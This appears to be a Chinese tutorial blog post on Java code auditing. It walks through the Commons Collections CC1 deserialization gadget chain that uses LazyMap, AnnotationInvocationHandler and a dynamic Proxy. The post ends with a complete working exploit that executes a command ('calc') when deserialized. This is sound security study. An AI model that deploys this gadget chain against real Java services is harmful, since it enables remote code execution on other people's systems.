Java代码审计-CC1 LazyMap Chains

Posted OceanSec

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Java代码审计-CC1 LazyMap Chains相关的知识,希望对你有一定的参考价值。

lazyMap chains

LazyMap 和 TransformedMap 类似,都来自于 Common-Collections 库,并继承 AbstractMapDecorator

LazyMap 的漏洞触发点和 TransformedMap 唯一的差别是,TransformedMap 是在写入元素的时候执行 transform,而 LazyMap 是在其 get 方法中执行的 factory.transform 。其实这也好理解,LazyMap 的作用是“懒加载”,在 get 找不到值的时候,它会调用 factory.transform 方法去获取一个值

图源:Java反序列化CommonsCollections篇

之前分析的 cc1 的链使用的是 TransformedMap 下的 checkSetValue 方法,但是还有其他利用链,本次就分析 LazyMap 下的 get 方法调用 factory.transform 方法,也是 ysoserial 中使用的方法

get 方法

整条链的入口点还是在 sun.reflect.annotation.AnnotationInvocationHandler 的 readObject 方法,在文件中发现 membersValues.get 方法参数可控,invoke 方法在对象代理是会被触发,如果将这个对象用 Proxy 进行代理,那么在 readObject 的时候,只要调用任意方法,就会进入到 AnnotationInvocationHandler#invoke 方法中,进而触发的 LazyMap#get

源码有点问题,应该为下图,在 invoke 中判断了 var5 即 paramTypes 长度等于 0,也就是说需要使用无参方法

而 readObject 中的 entrySet 方法就是一个无参方法

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) 

前边提到了 invoke 是在对象代理时触发,Java 作为一门静态语言,要实现类似 php 中魔术方法 __call,就需要用到 java.reflect.Proxy

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] Map.class, handler);

第一个参数时 ClassLoader,默认即可,第二个参数时代理的对象集合,第三个参数是实现了 InvocationHandler 接口的对象,里面包含了具体的逻辑

动态代理类 Proxy 实现了 serializable,所有对象代理都实现了 Proxy,所以可以序列化

构造 payload

根据之前的 payload 做一个修改,首先使用 LazyMap 替换 TransformedMap:

Map outerMap = LazyMap.decorate(innerMap, transformerChain);

然后对 sun.reflect.annotation.AnnotationInvocationHandler 对象进行 Proxy

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] Map.class, handler);

但是这里依然不能直接对其反序列化,入口点是:sun.reflect.annotation.AnnotationInvocationHandler#readObject ,所以我们还需要再用
AnnotationInvocationHandler 对这个 proxyMap 进行包裹

handler = (InvocationHandler) construct.newInstance(Retention.class,
proxyMap);

最终完整 payload

public class test 
    public static void main(String[] args) throws Exception 

        Transformer[] transformers = new Transformer[]
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]String.class,Class[].class, new Object[]"getRuntime",new Class[0]),
                new InvokerTransformer("invoke",new Class[]Object.class,Object[].class,new Object[]null,new Object[0]),
                new InvokerTransformer("exec", new Class[]String.class, new Object[]"calc"),;

        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] Map.class, handler);

        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
        
        serialize(handler);
        unserialize("ser.bin");

    

    public static void serialize(Object obj) throws IOException 
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException 
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    

调试执行时可以看到,transform 的参数,最终执行命令

同样只限于 jdk8u71 之前

以上是关于Java代码审计-CC1 LazyMap Chains的主要内容,如果未能解决你的问题,请参考以下文章

Java代码审计-CC1 Chains

Java代码审计-CC1 Chains

CC1-下

CC1-下

CC1-下

[Java反序列化]CommonsCollections5利用链学习